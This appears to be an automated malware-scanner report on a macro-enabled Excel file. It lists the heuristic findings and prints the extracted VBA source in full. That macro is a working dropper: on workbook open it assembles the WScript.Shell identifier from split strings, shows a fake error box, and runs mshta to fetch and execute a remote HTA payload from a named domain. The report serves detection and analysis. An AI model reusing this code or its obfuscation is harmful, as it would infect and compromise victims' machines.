MALICIOUS
128
Risk Score
Heuristics 4
-
VBA project inside OOXML medium 3 related findings OOXML_VBADocument contains a VBA project — VBA macros present
-
Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATIONVBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.Matched line in script
Set meinkonhun = GetObject("" + "n" + "e" + "w" + ":" + "F93" + "5" + "D" + "C" + "2" + "2" + "-" + "1" + "C" + "F" + "0-1" + "1" + "D" + "0" + "-" + "A" + "D" + "B" + "9" + "-" + "00C04" + "FD" + "5" + "8" + "A" + "0" + "B") -
GetObject call high OLE_VBA_GETOBJGetObject callMatched line in script
Set meinkonhun = GetObject("" + "n" + "e" + "w" + ":" + "F93" + "5" + "D" + "C" + "2" + "2" + "-" + "1" + "C" + "F" + "0-1" + "1" + "D" + "0" + "-" + "A" + "D" + "B" + "9" + "-" + "00C04" + "FD" + "5" + "8" + "A" + "0" + "B") -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
Private Sub Workbook_Open()
Extracted artifacts 2
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source from OOXML) | 1572 bytes |
SHA-256: 61b1bde5a9e4c9457f0a13942fc3aa69e27b8d67a7b0c8843686f461179f13da |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "Módulo1"
Sub asds()
End Sub
Attribute VB_Name = "EstaPasta_de_trabalho"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Function X() As String
X = "M"
End Function
Function Y() As String
Y = "s"
End Function
Function Z() As String
Z = "H"
End Function
Function D() As String
D = "T"
End Function
Function E() As String
E = "a"
End Function
Function L() As String
L = "p"
End Function
Function K() As String
K = "diamantesviagens.com.br/"
End Function
Function T() As String
T = "VirusEmHta.mp3"
End Function
Function F() As String
F = " H" + D + D + L + "://" + K + T
End Function
Function pings() As String
pings = X + Y + Z + D + E + F
End Function
Private Sub Workbook_Open()
Set meinkonhun = GetObject("" + "n" + "e" + "w" + ":" + "F93" + "5" + "D" + "C" + "2" + "2" + "-" + "1" + "C" + "F" + "0-1" + "1" + "D" + "0" + "-" + "A" + "D" + "B" + "9" + "-" + "00C04" + "FD" + "5" + "8" + "A" + "0" + "B")
: MsgBox "Microsoft Office not Installed"
: meinkonhun.EXEC pings
End Sub
Attribute VB_Name = "Planilha1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
|
|||
vbaProject_00.bin |
vba-project | OOXML VBA project: xl/vbaProject.bin | 19456 bytes |
SHA-256: dcf440a594d2e2e0b2fda2c3becbb327d6f8be242ff43ba8716f053a39415750 |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.